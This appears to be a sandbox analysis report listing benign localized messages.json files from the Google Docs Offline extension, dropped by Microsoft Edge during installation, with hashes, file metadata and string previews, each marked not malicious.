MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
